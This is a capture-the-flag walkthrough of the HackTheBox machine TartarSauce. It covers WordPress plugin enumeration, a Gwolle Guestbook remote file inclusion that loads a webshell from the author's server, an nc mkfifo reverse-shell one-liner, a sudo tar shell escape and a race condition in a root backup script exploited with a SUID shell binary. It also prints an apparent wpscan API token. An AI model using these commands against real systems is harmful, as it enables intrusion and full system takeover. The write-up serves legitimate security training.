Overview
TartarSauce is a medium HackTheBox Linux machine that rewards broad enumeration over obvious targets. A Monstra CMS instance with weak upload filtering turns out to be a dead end, while a separately-hosted WordPress install resists standard wpscan enumeration and only gives up its plugins to a custom wordlist built directly from WordPress’s svn plugin repository. That reveals Gwolle Guestbook 1.5.3, vulnerable to remote file inclusion, which is used to load a webshell disguised as wp-load.php. A sudo rule for tar escalates to a second user via a documented GTFOBins technique, and root abuses a race condition in a periodic backup script that tar-extracts an attacker-swappable archive as root.
Attack Chain
- Scan the target and find only
HTTP - Discover a
Monstra CMSinstance and log in with defaultadmin:admincredentials - Identify a known arbitrary file upload vulnerability, but find upload attempts fail regardless
- Fuzz
/webservicesand discover aWordPressinstall at/webservices/wp - Run
wpscan, which finds no plugins or themes - Build a custom plugin wordlist from WordPress’s official
svnrepository - Fuzz the plugins directory with the custom wordlist and find
gwolle-gb - Identify the plugin version,
1.5.3, from itsreadme.txt, and a known remote file inclusion vulnerability affecting it - Use the RFI to have the target request a file from an attacker-controlled server
- Serve a webshell renamed to
wp-load.php, matching the file the target requests - Trigger the webshell and use an
nc mkfifopayload to catch a reverse shell aswww-data - Find a
sudorule allowing/bin/tarto run as useronuma - Use a documented
GTFOBinstechnique to spawn a shell asonumaviatar’s checkpoint actions - Read the user flag
- Use
pspyto find a periodic root-run backup script,backuperer - Analyse the script and identify a race-condition window where its
tarextraction step can be hijacked - Compile a static SUID-granting binary and package it inside a matching
tararchive - Time the swap of the legitimate backup archive for the malicious one during the script’s processing window
- Wait for the script to extract the malicious archive, creating a SUID shell binary
- Execute the SUID binary to get a root shell and read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.1.185; export NAME=TARTARSAUCE; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The only open TCP port is:
80
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Web Enumeration
Finding Monstra CMS
Browsing to port 80 shows a landing page.

dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -r




We’re able to log in with admin:admin.

A Dead End in Monstra
We find an arbitrary file upload and remote code execution vulnerability for Monstra CMS 3.0.4:
https://www.exploit-db.com/exploits/43348
We navigate to Content, then Files.

According to the exploit, most extensions are blocked except .PHP in capital letters. We copy wwwolf-php-webshell and save it with a .PHP extension.

We select the file and upload.

We get an error that the file wasn’t uploaded. Editing themes and other files also appears write-protected, so we return to enumeration.
Finding WordPress
We fuzz /webservices recursively.
dirsearch -u http://$IP:$PORT/webservices -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_webservices_default.txt -r
We filter the results for 200 responses with awk.
awk '$1 >= 200 && $1 < 300 {print}' scans/dirsearch_${NAME}_${PORT}_webservices_default.txt
The output reveals /webservices/wp, a WordPress endpoint.

We try wpscan.
wpscan --url http://$IP/webservices/wp/ -e --api-token kYaAtTPV9AaLqigwLwDgqpdvcQdkj0VkmvjBcRatcLE | tee scans/wpscan_PORT80
It doesn’t find anything, no plugins or themes at all. We could use --enumerate ap with aggressive plugin detection, but it’s very slow:
wpscan --url http://$IP/webservices/wp/ --enumerate ap --plugins-detection aggressive --plugins-version-detection aggressive --api-token kYaAtTPV9AaLqigwLwDgqpdvcQdkj0VkmvjBcRatcLE
We use ffuf with WordPress wordlists instead, first fuzzing for common endpoints.
ffuf -u http://10.129.1.185/webservices/wp/FUZZ -c -ic -r -w ~/Wordlists/wp-fuzz.txt -t 40 -mc 200 | tee scans/ffuf_wp.txt

The endpoints look like standard locations.

Finding Gwolle Guestbook
We fuzz for plugins, first generating a custom plugin wordlist from https://plugins.svn.wordpress.org/. Since WordPress stores plugins in svn rather than git, we install subversion.
sudo apt install subversion
We use svn to list all plugins in the repository, cleaning up the output with sed.
svn list https://plugins.svn.wordpress.org/ | sed 's:/$::' > wp_plugins_custom.txt
We check the first 20 lines with head -n 20.

We fuzz /wc/wp-content/plugins/ with the custom wordlist.
ffuf -u http://10.129.1.185/webservices/wp/wp-content/plugins/FUZZ -c -ic -r -w ~/Wordlists/wp_plugins_custom.txt -t 40 -mc 200 | tee scans/ffuf_wp_plugins.txt
We find a plugin, gwolle-gb.

Most plugins have a readme.txt. We check whether gwolle-gb does.
curl http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
Scrolling to the Changelog, we’re working with Gwolle-db 1.5.3.

Foothold
Exploiting the Gwolle Guestbook RFI
We find a remote file inclusion vulnerability for Gwolle Guestbook 1.5.3:
https://www.exploit-db.com/exploits/38861
The vulnerability lies in the ajaxresponse.php?abspath= endpoint. We adapt it to point at a Python server on our attacking machine.
http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.59/testRFI
We get a response.

Sending a basic request without extra parameters:
curl -I "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.59/"

Our Python web server shows the target requesting /wp-load.php.

We copy wwwolf-php-webshell and rename it wp-load.php.

Sending the same request from the browser, the target requests /wp-load.php, our webshell.
We now have a functioning webshell in the browser.

Reverse Shell as www-data
We start a penelope listener on port 443, using an nc mkfifo payload from revshells.com.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.59 443 >/tmp/f
We enter the payload into the webshell and execute it.

We have a shell as www-data.

Lateral Movement
Exploiting Sudo Tar

We check our privileges with sudo -l and find we can run /bin/tar as sudo, as user onuma.

We’ve abused tar wildcard privilege escalation before; here, since we can run tar via sudo directly, we can pass argument flags rather than crafting them as filenames. GTFOBins documents this technique:
https://gtfobins.github.io/gtfobins/tar/#sudo

We adapt the command to our situation.
sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
We have a shell as onuma.

We read the user flag.

Privilege Escalation
Analysing the backuperer Script
We run pspy32 for three minutes.
timeout 3m ./pspy32
We see /usr/sbin/backuperer executed quite often.

We view its contents:
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
/bin/rm -rf $tmpdir/.* $check
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
/bin/sleep 30
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
The script creates a backup archive of the website, saved as a random hidden file in /var/tmp.

It then waits 30 seconds.

It extracts the archive to a temporary check directory.

It calls integrity_chk(), comparing the live website to the extracted check directory.

If there are no differences, it saves the backup; if there are, it logs an error.

Exploiting the Race Condition
We can abuse the extraction step. On our attacking machine, we compile a binary that grants the SUID bit to a shell, save it as /var/www/html/shell, set the SUID bit, and package it into a tar archive with the full folder path.
On the target, we navigate to /var/tmp and copy over our tar archive. As soon as the script runs, we have a 30-second window to replace the website’s backup archive with our malicious one. Once the script extracts it, we’ll have a SUID bash binary at /var/tmp/check/var/www/html.
Our shell code:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
Since this is an older operating system, we compile our binary as a static binary on stable Debian, via Docker.
docker run --rm -it -v "$PWD":/src -w /src debian:stable bash
We install the dependencies needed to compile with gcc.
apt-get update
apt-get install -y gcc-multilib
We compile in 32-bit as a static binary.
Note: the
staticflag matters, so we don’t need to worry aboutGLIBCversion mismatches.
gcc -m32 -static shell.c -o shell

We exit the Docker shell and inspect the binary.

We create the var/www/html directory, copy the binary in, and set the SUID bit.
mkdir -p var/www/html
cp ./shell var/www/html
chmod 6555 var/www/html/shell

We create the tar archive.
tar zcvf shell.tar.gz var --owner=root --group=root


On the target, we navigate to /var/tmp and transfer our malicious archive.

Timing the Swap
We check how often backuperer runs.
systemctl list-timers
It runs every five minutes, so we need to swap the backup immediately after it fires.

We view /var/tmp with ls -la, since the backup archive is hidden.

We replace the legitimate backup archive with our malicious one, using the exact same filename.
cp shell.tar.gz .5a5c44f5887084596c751265e00637e3209c8087
We check the folder contents and confirm the file size matches.

After waiting 30 seconds, we check /var/tmp/check/var/www/html, our shell binary now has the SUID bit set.

We execute it.

We have a shell as root.

We read the root flag.

Key Takeaways
TartarSauce’s title is fitting, the initial foothold rewards patience over a quick win, since the “obvious” Monstra CMS target turned out to be a red herring, and finding the real vulnerability required building a custom plugin wordlist from WordPress’s own package repository rather than relying on standard tooling. Privilege escalation is a two-part lesson in tar abuse: first a straightforward sudo-permitted GTFOBins technique, then a genuine race condition in a well-intentioned backup script whose extraction step trusted an attacker-writable directory during a predictable timing window, proof that even security tooling built to detect tampering can itself become the tampering vector.